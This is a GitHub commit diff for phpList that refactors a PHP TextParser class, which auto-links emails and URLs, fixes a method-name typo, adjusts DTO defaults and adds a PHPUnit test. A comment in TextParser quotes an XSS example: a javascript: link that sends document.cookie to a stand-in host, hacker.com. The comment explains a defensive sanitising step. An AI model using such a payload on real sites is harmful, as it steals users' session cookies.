Skip to content

Commit e7f9eca

Browse files
committed
TextParserTest
1 parent 166a66c commit e7f9eca

File tree

5 files changed

+109
-28
lines changed

5 files changed

+109
-28
lines changed

src/Domain/Common/TextParser.php

Lines changed: 34 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -8,43 +8,54 @@ class TextParser
88
{
99
public function __invoke(string $text): string
1010
{
11-
// bug in PHP? get rid of newlines at the beginning of text
1211
$text = ltrim($text);
13-
14-
// make urls and emails clickable
15-
$text = preg_replace("/([\._a-z0-9-]+@[\.a-z0-9-]+)/i", '<a href="mailto:\\1" class="email">\\1</a>', $text);
16-
$link_pattern = "/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
17-
18-
$i = 0;
19-
while (preg_match($link_pattern, $text, $matches)) {
12+
$text = preg_replace(
13+
"/([\._a-z0-9-]+@[\.a-z0-9-]+)/i",
14+
'<a href="mailto:\\1" class="email">\\1</a>',
15+
$text,
16+
);
17+
$linkPattern = "/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
18+
$link = [];
19+
$index = 0;
20+
while (preg_match($linkPattern, $text, $matches)) {
2021
$url = $matches[2];
2122
$rest = $matches[3];
2223
if (!preg_match('/^(http:)|(mailto:)|(ftp:)|(https:)/i', $url)) {
2324
// avoid this
2425
//<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
2526
$url = preg_replace('/:/', '', $url);
2627
}
27-
$link[$i] = '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
28-
$text = $matches[1]."%%$i%%".$matches[5];
29-
++$i;
28+
$link[$index] = '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
29+
$text = $matches[1]."%%$index%%".$matches[5];
30+
++$index;
3031
}
3132

32-
$text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", 'http://\\1', $text); //make www. -> http://www.
33-
$text = preg_replace("/(https?:\/\/)http?:\/\//i", '\\1', $text); //take out duplicate schema
34-
$text = preg_replace("/(ftp:\/\/)http?:\/\//i", '\\1', $text); //take out duplicate schema
35-
$text = preg_replace("/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i",
33+
//make www. -> http://www.
34+
$text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", 'http://\\1', $text);
35+
//take out duplicate schema
36+
$text = preg_replace("/(https?:\/\/)http?:\/\//i", '\\1', $text);
37+
$text = preg_replace("/(ftp:\/\/)http?:\/\//i", '\\1', $text);
38+
//eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
39+
$text = preg_replace(
40+
"/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i",
3641
'<a href="\\1\\2" class="url" target="_blank">\\2</a>',
37-
$text); //eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
38-
39-
$text = preg_replace("/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i",
42+
$text
43+
);
44+
//eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
45+
$text = preg_replace(
46+
"/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i",
4047
'<a href="\\1\\2\\3" class="url" target="_blank">\\2\\3</a>',
41-
$text); //eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
48+
$text
49+
);
4250

4351
// take off a possible last full stop and move it outside
44-
$text = preg_replace("/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i",
45-
'<a href="\\1" class="url" target="_blank">\\2</a>.', $text);
52+
$text = preg_replace(
53+
"/<a href=\"(.*?)\.\" class=\"url\" target=\"_blank\">(.*)\.<\/a>/i",
54+
'<a href="\\1" class="url" target="_blank">\\2</a>.',
55+
$text
56+
);
4657

47-
for ($j = 0; $j < $i; ++$j) {
58+
for ($j = 0; $j < $index; ++$j) {
4859
$replacement = $link[$j];
4960
$text = preg_replace("/\%\%$j\%\%/", $replacement, $text);
5061
}
@@ -68,6 +79,7 @@ public function __invoke(string $text): string
6879
// reverse our previous placeholders
6980
$text = str_replace('<!--LB-->', '(', $text);
7081
$text = str_replace('<!--RB-->', ')', $text);
82+
7183
return str_replace('<!--DOLL-->', '$', $text);
7284
}
7385
}

src/Domain/Identity/Repository/AdminAttributeDefinitionRepository.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ public function getForAdmin(Administrator $admin): array
3535
->getResult();
3636
}
3737

38-
public function getAllWIthEmptyValues(): array
38+
public function getAllWithEmptyValues(): array
3939
{
4040
return $this->createQueryBuilder('ad')
4141
->select("ad.name AS name", "'' AS value")

src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
class MessagePrecacheDto
88
{
9-
public string $replyToEmail;
9+
public string $replyToEmail = '';
1010
public string $replyToName;
1111
public string $fromName;
1212
public string $fromEmail;
@@ -19,9 +19,9 @@ class MessagePrecacheDto
1919
public string $htmlFooter;
2020
public bool $htmlFormatted;
2121
public string $sendFormat;
22-
public ?string $template = '';
23-
public ?string $templateText = '';
24-
public ?int $templateId = 0;
22+
public ?string $template = null;
23+
public ?string $templateText = null;
24+
public ?int $templateId = null;
2525
public string $htmlCharset= 'UTF-8';
2626
public string $textCharset= 'UTF-8';
2727
public bool $userSpecificUrl;

src/Domain/Messaging/Service/MessagePrecacheService.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -158,7 +158,7 @@ public function precacheMessage(Message $campaign, $loadedMessageData, ?bool $fo
158158
if (count($relatedAdmins) === 1) {
159159
$listOwnerAttrValues = $this->adminAttributeDefRepository->getForAdmin($relatedAdmins[0]);
160160
} else {
161-
$listOwnerAttrValues = $this->adminAttributeDefRepository->getAllWIthEmptyValues();
161+
$listOwnerAttrValues = $this->adminAttributeDefRepository->getAllWithEmptyValues();
162162
}
163163

164164
foreach ($listOwnerAttrValues as $attr) {
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
<?php
2+
3+
declare(strict_types=1);
4+
5+
namespace PhpList\Core\Tests\Unit\Domain\Common;
6+
7+
use PhpList\Core\Domain\Common\TextParser;
8+
use PHPUnit\Framework\TestCase;
9+
10+
class TextParserTest extends TestCase
11+
{
12+
private TextParser $parser;
13+
14+
protected function setUp(): void
15+
{
16+
$this->parser = new TextParser();
17+
}
18+
19+
public function testEmailIsMadeClickable(): void
20+
{
21+
$input = 'Contact me at [email protected]';
22+
$out = ($this->parser)($input);
23+
24+
$this->assertSame(
25+
'Contact me at <a href="mailto:[email protected]" class="email">[email protected]</a>',
26+
$out
27+
);
28+
}
29+
30+
public function testHttpUrlAutoLinkAndPeriodOutside(): void
31+
{
32+
$input = 'See http://example.com/path.';
33+
$out = ($this->parser)($input);
34+
35+
// For non-www URLs, the displayed text is without the scheme
36+
$this->assertSame(
37+
'See <a href="http://example.com/path" class="url" target="_blank">example.com/path</a>.',
38+
$out
39+
);
40+
}
41+
42+
public function testWwwAutoLink(): void
43+
{
44+
$input = 'Visit www.google.com/maps';
45+
$out = ($this->parser)($input);
46+
47+
$this->assertSame(
48+
'Visit <a href="http://www.google.com/maps" class="url" target="_blank">www.google.com/maps</a>',
49+
$out
50+
);
51+
}
52+
53+
public function testNewlinesBecomeBrAndLeadingTrim(): void
54+
{
55+
// leading newline should be trimmed, others converted
56+
$input = "\nLine1\nLine2";
57+
$out = ($this->parser)($input);
58+
59+
$this->assertSame("Line1<br />\nLine2", $out);
60+
}
61+
62+
public function testParensAndDollarPreserved(): void
63+
{
64+
$input = 'Price is $10 (approx)';
65+
$out = ($this->parser)($input);
66+
67+
$this->assertSame('Price is $10 (approx)', $out);
68+
}
69+
}

0 commit comments

Comments
 (0)